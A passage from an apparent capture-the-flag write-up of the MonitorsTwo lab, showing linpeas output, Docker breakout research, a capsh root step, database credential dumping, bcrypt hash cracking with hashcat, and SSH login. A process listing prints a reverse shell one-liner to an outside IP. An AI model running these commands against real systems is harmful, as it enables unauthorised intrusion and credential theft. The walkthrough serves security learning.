  ═╣ AppArmor enabled? .............. AppArmor Not Found
  ═╣ AppArmor profile? .............. docker-default (enforce)
  ═╣ is linuxONE? ................... s390x Not Found
  ═╣ grsecurity present? ............ grsecurity Not Found
  ═╣ PaX bins present? .............. PaX Not Found
  ═╣ Execshield enabled? ............ Execshield Not Found
  ═╣ SELinux enabled? ............... sestatus Not Found
  ═╣ Seccomp enabled? ............... enabled
  ═╣ User namespace? ................ enabled
  ═╣ Cgroup2 enabled? ............... enabled
  ═╣ Is ASLR enabled? ............... Yes
  ═╣ Printer? ....................... No
  ═╣ Is this a virtual machine? ..... Yes
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>                                     ╔═══════════╗
  ═══════════════════════════════════╣ Container ╠═══════════════════════════════════
                                     ╚═══════════╝
  ╔══════════╣ Container related tools present (if any):
  ╔══════════╣ Am I Containered?
  ╔══════════╣ Container details
  ═╣ Is this a container? ........... docker
  ═╣ Any running containers? ........ No
  ╔══════════╣ Docker Container details
  ═╣ Am I inside Docker group ....... No
  ═╣ Looking and enumerating Docker Sockets (if any):
  ═╣ Docker version ................. Not Found
  ═╣ Vulnerable to CVE-2019-5736 .... Not Found
  ═╣ Vulnerable to CVE-2019-13139 ... Not Found
  ═╣ Rootless Docker? ............... No
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Container <span class="err">&amp;</span> breakout enumeration
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout                                                                                                                                                          
  ═╣ Container ID ................... 50bca5e748b0
  ═╣ Container Full ID .............. 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e
  ═╣ Seccomp enabled? ............... enabled
  ═╣ AppArmor profile? .............. docker-default (enforce)
  ═╣ User proc namespace? ........... enabled         0          0 4294967295
  ═╣ Vulnerable to CVE-2019-5021 .... No
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ══╣ Breakout via mounts
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts                                                                                                    
  ═╣ /proc mounted? ................. Yes
  ═╣ /dev mounted? .................. No
  ═╣ Run ushare ..................... No
  ═╣ release_agent breakout 1........ No
  ═╣ release_agent breakout 2........ No
  ═╣ core_pattern breakout .......... No
  ═╣ binfmt_misc breakout ........... No
  ═╣ uevent_helper breakout ......... No
  ═╣ is modprobe present ............ No
  ═╣ DoS via panic_on_oom ........... No
  ═╣ DoS via panic_sys_fs ........... No
  ═╣ DoS via sysreq_trigger_dos ..... No
  ═╣ /proc/config.gz readable ....... No
  ═╣ /proc/sched_debug readable ..... Yes
  ═╣ /proc/*/mountinfo readable ..... Yes
  ═╣ /sys/kernel/security present ... Yes
  ═╣ /sys/kernel/security writable .. No
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ══╣ Namespaces
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces
  total 0
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 cgroup -&gt; cgroup:[4026531835]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 ipc -&gt; ipc:[4026532656]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 mnt -&gt; mnt:[4026532654]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 net -&gt; net:[4026532659]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 pid -&gt; pid:[4026532657]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 pid_for_children -&gt; pid:[4026532657]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 user -&gt; user:[4026531837]
  lrwxrwxrwx 1 www-data www-data 0 May 11 15:14 uts -&gt; uts:[4026532655]
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Container Capabilities
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape                                                                                           
    
  Current: cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=eip                                                                         
    
  Bounding set =cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
    
  Ambient set =
  Current IAB: cap_chown,!cap_dac_override,!cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,!cap_linux_immutable,cap_net_bind_service,!cap_net_broadcast,!cap_net_admin,cap_net_raw,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,cap_sys_chroot,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,cap_audit_write,!cap_audit_control,cap_setfcap,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
    
  Securebits: 00/0x0/1'b0
  secure-noroot: no (unlocked)
  secure-no-suid-fixup: no (unlocked)
  secure-keep-caps: no (unlocked)
  secure-no-ambient-raise: no (unlocked)
  uid=33(root) euid=0(root)
  gid=33(www-data)
  groups=33(www-data)
  Guessed mode: UNCERTAIN (0)
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Possible Entrypoints
  -rw-r--r-- 1 root     root      648 Jan  5 11:37 /entrypoint.sh
  -rw-r--r-- 1 www-data www-data 811K Apr 25 08:27 /tmp/linpeas.sh
  -rwxr-xr-x 1 www-data www-data  46K May  9 09:05 /tmp/linenum.sh
  -rwxr-xr-x 1 www-data www-data  648 May 11 14:54 /tmp/entrypoint.sh
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching ssl/ssh files
  ══╣ Possible private SSH keys were found!
  /var/www/html/include/vendor/phpseclib/Crypt/RSA.php
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Unexpected in root
  /.dockerenv
  /entrypoint.sh
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching passwords in config PHP files
  #$rdatabase_password = 'cactiuser';
  $database_password = 'root';
  $password = $value;
  $password = $database_password;
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>                        ╔════════════════════════════════════╗
  ══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝                                                                                                                                                                                
  ╔══════════╣ SUID - Check easy privesc, exploits and write perms
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
  strace Not Found
  -rwsr-xr-x 1 root root 87K Feb  7  2020 /usr/bin/gpasswd
  -rwsr-xr-x 1 root root 63K Feb  7  2020 /usr/bin/passwd  ---&gt;  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
  -rwsr-xr-x 1 root root 52K Feb  7  2020 /usr/bin/chsh
  -rwsr-xr-x 1 root root 58K Feb  7  2020 /usr/bin/chfn  ---&gt;  SuSE_9.3/10
  -rwsr-xr-x 1 root root 44K Feb  7  2020 /usr/bin/newgrp  ---&gt;  HP-UX_10.20
  -rwsr-xr-x 1 root root 31K Oct 14  2020 /sbin/capsh
  -rwsr-xr-x 1 root root 55K Jan 20  2022 /bin/mount  ---&gt;  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
  -rwsr-xr-x 1 root root 35K Jan 20  2022 /bin/umount  ---&gt;  BSD/Linux(08-1996)
  -rwsr-xr-x 1 root root 71K Jan 20  2022 /bin/su
</code></pre></div>    </div>
  </li>
  <li>
    <p>As linpeas says I’m inside a docker container, I can become root of the container by simply following: https://gtfobins.github.io/gtfobins/capsh/</p>

    <p><code class="language-html highlighter-rouge">capsh --gid=0 --uid=0 --</code></p>
  </li>
  <li>At this point I <em>“wasted” (it was fun)</em> a lot of time trying to breakout the docker container, I list all the resources I tried:
    <ul>
      <li>https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security</li>
      <li>https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts</li>
      <li>https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/namespaces</li>
      <li>https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#capabilities-abuse-escape</li>
      <li>https://docs.docker.com/engine/security/seccomp/</li>
      <li>https://github.com/moby/moby/blob/master/profiles/seccomp/default.json</li>
      <li>https://pet2cattle.com/2022/01/container-escape</li>
      <li>https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot</li>
      <li>https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf</li>
      <li>https://github.com/earthquake/chw00t/</li>
      <li>https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_net_raw</li>
    </ul>
  </li>
  <li>Here is a small summary:
    <ul>
      <li><a href="https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_net_raw"><strong>cap_net_raw</strong>: I could at best see network traffic or craft malicious packets</a></li>
      <li><a href="https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot"><strong>cap_sys_chroot</strong>: permits the use of the chroot system call but inside the container</a></li>
      <li><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#proc-sched_debug"><code class="language-html highlighter-rouge">cat /proc/sched_debug</code></a> → empty file</li>
      <li><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#sys-kernel-security"><code class="language-html highlighter-rouge">ls -al /sys/kernel/security</code></a> → empty folder</li>
      <li><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts#proc-pid-mountinfo"><code class="language-html highlighter-rouge">cat /proc/$$/mountinfo</code></a>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  695 594 0:62 / / rw,relatime master:274 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/overlay2/l/CXAW6LQU6QOKNSSNURRN2X4JEH:/var/lib/docker/overlay2/l/YWNFANZGTHCUIML4WUIJ5XNBLJ:/var/lib/docker/overlay2/l/JWCZSRNDZSQFHPN75LVFZ7HI2O:/var/lib/docker/overlay2/l/DGNCSOTM6KEIXH4KZVTVQU2KC3:/var/lib/docker/overlay2/l/QHFZCDCLZ4G4OM2FLV6Y2O6WC6:/var/lib/docker/overlay2/l/K5DOR3JDWEJL62G4CATP62ONTO:/var/lib/docker/overlay2/l/FGHBJKAFBSAPJNSTCR6PFSQ7ER:/var/lib/docker/overlay2/l/PDO4KALS2ULFY6MGW73U6QRWSS:/var/lib/docker/overlay2/l/MGUNUZVTUDFYIRPLY5MR7KQ233:/var/lib/docker/overlay2/l/VNOOF2V3SPZEXZHUKR62IQBVM5:/var/lib/docker/overlay2/l/CDCPIX5CJTQCR4VYUUTK22RT7W:/var/lib/docker/overlay2/l/G4B75MXO7LXFSK4GCWDNLV6SAQ:/var/lib/docker/overlay2/l/FRHKWDF3YAXQ3LBLHIQGVNHGLF:/var/lib/docker/overlay2/l/ZDJ6SWVJF6EMHTTO3AHC3FH3LD:/var/lib/docker/overlay2/l/W2EMLMTMXN7ODPSLB2FTQFLWA3:/var/lib/docker/overlay2/l/QRABR2TMBNL577HC7DO7H2JRN2:/var/lib/docker/overlay2/l/7IGVGYP6R7SE3WFLYC3LOBPO4Z:/var/lib/docker/overlay2/l/67QPWIAFA4NXFNM6RN43EHUJ6Q,upperdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/diff,workdir=/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/work,xino=off
  696 695 0:65 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
  697 695 0:66 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
  698 697 0:67 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
  699 695 0:68 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
  700 699 0:69 / /sys/fs/cgroup rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,mode=755
  701 700 0:31 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/systemd ro,nosuid,nodev,noexec,relatime master:11 - cgroup cgroup rw,xattr,name=systemd
  702 700 0:34 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/rdma ro,nosuid,nodev,noexec,relatime master:15 - cgroup cgroup rw,rdma
  703 700 0:35 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/net_cls,net_prio ro,nosuid,nodev,noexec,relatime master:16 - cgroup cgroup rw,net_cls,net_prio
  704 700 0:36 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/cpuset ro,nosuid,nodev,noexec,relatime master:17 - cgroup cgroup rw,cpuset
  705 700 0:37 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/memory ro,nosuid,nodev,noexec,relatime master:18 - cgroup cgroup rw,memory
  706 700 0:38 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/pids ro,nosuid,nodev,noexec,relatime master:19 - cgroup cgroup rw,pids
  707 700 0:39 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/freezer ro,nosuid,nodev,noexec,relatime master:20 - cgroup cgroup rw,freezer
  708 700 0:40 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/devices ro,nosuid,nodev,noexec,relatime master:21 - cgroup cgroup rw,devices
  709 700 0:41 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/blkio ro,nosuid,nodev,noexec,relatime master:22 - cgroup cgroup rw,blkio
  710 700 0:42 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/cpu,cpuacct ro,nosuid,nodev,noexec,relatime master:23 - cgroup cgroup rw,cpu,cpuacct
  711 700 0:43 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/perf_event ro,nosuid,nodev,noexec,relatime master:24 - cgroup cgroup rw,perf_event
  712 700 0:44 /docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e /sys/fs/cgroup/hugetlb ro,nosuid,nodev,noexec,relatime master:25 - cgroup cgroup rw,hugetlb
  713 697 0:64 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
  714 695 8:2 /root/cacti/entrypoint.sh /entrypoint.sh rw,relatime - ext4 /dev/sda2 rw
  715 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda2 rw
  716 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/hostname /etc/hostname rw,relatime - ext4 /dev/sda2 rw
  717 695 8:2 /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/hosts /etc/hosts rw,relatime - ext4 /dev/sda2 rw
  718 697 0:63 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
  595 696 0:65 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
  640 696 0:65 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
  656 696 0:65 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
  657 696 0:65 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
  658 696 0:65 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
  659 696 0:70 / /proc/acpi ro,relatime - tmpfs tmpfs ro
  662 696 0:66 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
  663 696 0:66 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
  664 696 0:66 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
  665 696 0:66 /null /proc/sched_debug rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
  666 696 0:71 / /proc/scsi ro,relatime - tmpfs tmpfs ro
  667 699 0:72 / /sys/firmware ro,relatime - tmpfs tmpfs ro
</code></pre></div>        </div>

        <p>I don’t see any juicy information except:</p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  714 695 8:2 /root/cacti/entrypoint.sh /entrypoint.sh rw,relatime - ext4 /dev/sda2 rw
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-www-data">Privesc www-data</h2>

<ul>
  <li><code class="language-html highlighter-rouge">cat /entrypoint.sh</code>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="c">#!/bin/bash</span>
  <span class="nb">set</span> <span class="nt">-ex</span>

  wait-for-it db:3306 <span class="nt">-t</span> 300 <span class="nt">--</span> <span class="nb">echo</span> <span class="s2">"database is connected"</span>
  <span class="k">if</span> <span class="o">[[</span> <span class="o">!</span> <span class="si">$(</span>mysql <span class="nt">--host</span><span class="o">=</span>db <span class="nt">--user</span><span class="o">=</span>root <span class="nt">--password</span><span class="o">=</span>root cacti <span class="nt">-e</span> <span class="s2">"show tables"</span><span class="si">)</span> <span class="o">=</span>~ <span class="s2">"automation_devices"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
      </span>mysql <span class="nt">--host</span><span class="o">=</span>db <span class="nt">--user</span><span class="o">=</span>root <span class="nt">--password</span><span class="o">=</span>root cacti &lt; /var/www/html/cacti.sql
      mysql <span class="nt">--host</span><span class="o">=</span>db <span class="nt">--user</span><span class="o">=</span>root <span class="nt">--password</span><span class="o">=</span>root cacti <span class="nt">-e</span> <span class="s2">"UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"</span>
      mysql <span class="nt">--host</span><span class="o">=</span>db <span class="nt">--user</span><span class="o">=</span>root <span class="nt">--password</span><span class="o">=</span>root cacti <span class="nt">-e</span> <span class="s2">"SET GLOBAL time_zone = 'UTC'"</span>
  <span class="k">fi

  </span><span class="nb">chown </span>www-data:www-data <span class="nt">-R</span> /var/www/html
  <span class="c"># first arg is `-f` or `--some-option`</span>
  <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="k">${</span><span class="nv">1</span><span class="p">#-</span><span class="k">}</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
          </span><span class="nb">set</span> <span class="nt">--</span> apache2-foreground <span class="s2">"</span><span class="nv">$@</span><span class="s2">"</span>
  <span class="k">fi

  </span><span class="nb">exec</span> <span class="s2">"</span><span class="nv">$@</span><span class="s2">"</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">mysql --host=db --user=root --password=root cacti -e "select * from user_auth"</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  id      username        password        realm   full_name       email_address   must_change_password    password_change show_tree       show_list       show_preview    graph_settings  login_opts      policy_graphs   policy_trees    policy_hosts        policy_graph_templates  enabled lastchange      lastlogin       password_history        locked  failed_attempts lastfail        reset_perms

  1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC    0       Jamie Thompson  admin@monitorstwo.htb           on      on      on      on      on      2       1       1       1       1       on      -1      -1 -1               0       0       663348655
    
  3       guest   43e9a4ab75570f5b        0       Guest Account           on      on      on      on      on      3       1       1       1       1       1               -1      -1      -1              0       0       0
    
  4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C    0       Marcus Brune    marcus@monitorstwo.htb                  on      on      on      on      1       1       1       1       1       on      -1      -1 on       0       0       2135691668
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sshpass -p 'funkymonkey' ssh marcus@10.10.11.211</code> → bingo!</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-marcus">Privesc marcus</h2>

<ul>
  <li>
    <p>I run <code class="language-html highlighter-rouge">linpeas.sh</code> another time:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>                  ╔════════════════════════════════════════════════╗
  ════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
                  ╚════════════════════════════════════════════════╝
  ╔══════════╣ Cleaned processes
  ╚ Check weird <span class="err">&amp;</span> unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
    
  root        1332  8.1  0.2 1871684 8840 ?        Sl   13:58  16:00  _ /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.3 -container-port 80

  root        1234  0.0  0.2 1451676 11060 ?       Sl   13:58   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock
    
  root        1347  1.3  0.3 1526816 12388 ?       Sl   13:58   2:37 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Unix Sockets Listening
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets
    
  /org/kernel/linux/storage/multipathd
  /run/containerd/containerd.sock
  /run/containerd/containerd.sock.ttrpc
  /run/containerd/s/3d0e892b2368988ed864212a06a26fc0d3026d9d352244a0de8476d495a42d24
  /run/containerd/s/7e9e38233b837179435001338e8ed956bc31f9552bcb32ce4ac3ecc10dd42d4e
  /run/dbus/system_bus_socket
  └─(Read Write)
  /run/docker.sock
  /var/run/docker/libnetwork/ddef31f2ba37.sock
  /var/run/docker/metrics.sock
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
  Apache version: apache2 Not Found
  httpd Not Found
    
  Nginx version: 
  ══╣ Nginx modules
  ngx_http_image_filter_module.so
  ngx_http_xslt_filter_module.so
  ngx_mail_module.so
  ngx_stream_module.so
  ══╣ PHP exec extensions
  drwxr-xr-x 2 root root 4096 Mar 22 13:21 /etc/nginx/sites-enabled
  lrwxrwxrwx 1 root root 34 Jan  9 10:03 /etc/nginx/sites-enabled/default -&gt; /etc/nginx/sites-available/default
    
  server {
          listen 80 default_server;
          listen [::]:80 default_server;
          server_name cacti.monitorstwo.htb;
          server_name _;
          location / {
                  proxy_pass http://127.0.0.1:8080/;
          }
  }
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching ssl/ssh files
  PermitRootLogin yes
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching docker files (limit 70)
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
    
  lrwxrwxrwx 1 root root 33 Jan  5 09:50 /etc/systemd/system/sockets.target.wants/docker.socket -&gt; /lib/systemd/system/docker.socket
  -rw-r--r-- 1 root root 295 Feb 25  2021 /usr/lib/systemd/system/docker.socket
  -rw-r--r-- 1 root root 0 Jan  5 09:50 /var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/docker.socket
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
  /home/marcus
  /sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service
  /sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service
</code></pre></div>    </div>

    <ul>
      <li>
        <p>reference for systemd cgroups: https://opensource.com/article/20/10/cgroups</p>
      </li>
      <li><code class="language-html highlighter-rouge">systemctl -t slice --all</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  UNIT                  LOAD   ACTIVE SUB    DESCRIPTION           
  -.slice               loaded active active Root Slice            
  system-getty.slice    loaded active active system-getty.slice    
  system-modprobe.slice loaded active active system-modprobe.slice 
  system.slice          loaded active active System Slice          
  user-1000.slice       loaded active active User Slice of UID 1000
  user.slice            loaded active active User and Session Slice

  LOAD   = Reflects whether the unit definition was properly loaded.
  ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
  SUB    = The low-level unit activation state, values depend on unit type.

  6 loaded units listed.
  To show all installed unit files use 'systemctl list-unit-files'.
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">systemd-cgls</code> (explore the cgroup hierarchy)
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ├─user.slice 
  │ └─user-1000.slice 
  │   ├─session-10.scope 
  │   │ ├─38196 sshd: marcus [priv]
  │   │ ├─38285 sshd: marcus@pts/1
  │   │ └─38286 -bash
  │   ├─user@1000.service 
  │   │ ├─init.scope 
  │   │ │ ├─6413 /lib/systemd/systemd --user
  │   │ │ └─6415 (sd-pam)
  │   │ └─gpg-agent.service 
  │   │   └─30485 /usr/bin/gpg-agent --supervised
  │   ├─session-14.scope 
  │   │ ├─108223 sshd: marcus [priv]
  │   │ ├─108316 sshd: marcus@pts/4
  │   │ └─108317 -bash
  │   ├─session-11.scope 
  │   │ ├─ 39236 sshd: marcus [priv]
  │   │ ├─ 39364 sshd: marcus@pts/2
  │   │ ├─ 39365 -bash
  │   │ ├─ 55943 bash
  │   │ ├─ 55950 bash -p
  │   │ ├─ 90807 bash -p
  │   │ ├─ 90817 script /dev/null -c bash
  │   │ ├─ 90818 bash
  │   │ ├─ 90827 bash -p
  │   │ ├─ 90842 less /etc/passwd
  │   │ ├─ 90850 sh -c /bin/bash -c sh
  │   │ ├─ 90851 sh
  │   │ ├─ 90854 bash -p
  │   │ ├─ 90862 less /etc/passwd
  │   │ ├─ 90878 sh -c /bin/bash -c /bin/sh
  │   │ ├─ 90879 /bin/sh
  │   │ ├─ 90881 bash -p
  │   │ ├─108208 vim.tiny /etc/shadow
  │   │ └─108210 /bin/bash
  │   └─session-12.scope 
  │     ├─ 67821 sshd: marcus [priv]
  │     ├─ 69044 sshd: marcus@pts/0
  │     ├─ 69143 -bash
  │     ├─127712 systemd-cgls
  │     └─127713 pager
</code></pre></div>        </div>

        <p>Nothing interesting… there are also cgroups related to docker containers:</p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ├─docker 
  │ ├─e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 
  │ │ └─1255 mysqld
  │ └─50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e 
  │   ├─  1376 apache2 -DFOREGROUND
  │   ├─  1565 apache2 -DFOREGROUND
  │   ├─  1615 sh -c /usr/local/bin/php -q /var/www/html/script_server.php realtime ;bash -c 'bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.103/9999 0&gt;<span class="err">&amp;</span>1'
  │   ├─  1617 bash -c bash -i &gt;<span class="err">&amp;</span> /dev/tcp/10.10.14.103/9999 0&gt;<span class="err">&amp;</span>1
  │   ├─  1618 bash -i
  │   ├─  1731 apache2 -DFOREGROUND
